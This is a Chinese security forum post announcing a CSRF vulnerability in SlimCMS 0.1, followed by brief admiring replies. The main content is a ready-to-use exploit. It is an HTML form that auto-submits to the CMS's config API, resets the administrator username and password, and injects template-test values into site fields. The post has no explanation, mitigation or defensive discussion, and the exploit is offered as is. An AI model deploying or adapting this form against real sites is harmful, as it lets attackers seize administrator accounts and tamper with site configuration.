SlimCMS 0.1 - CSRF(可改管理密码)

90_ · 发表于 2016-6-17 13:17:48

EXP：

[HTML] 纯文本查看 复制代码

<html>
  <body>
    <form action="http://localhost/SlimCMS/api/config" method="POST">
      <input type="hidden" name="title" value="&#123;&#123;7&#42;7&#125;&#125;" />
      <input type="hidden" name="description" value="&#123;&#123;7&#42;7&#125;&#125;" />
      <input type="hidden" name="user" value="admin" />
      <input type="hidden" name="password" value="password" />
      <input type="hidden" name="theme" value="default" />
      <input type="hidden" name="url" value="http&#58;&#47;&#47;localhost&#47;SlimCMS" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

wanshine · 发表于 2016-6-17 15:25:16

看不懂。还得学习啊

自由冥王 · 发表于 2016-6-17 18:44:10

支持支持

admia · 发表于 2016-6-18 10:21:18

90一直是我的偶像

SlimCMS 0.1 - CSRF(可改管理密码)

指导单位

旗下站点

联系我们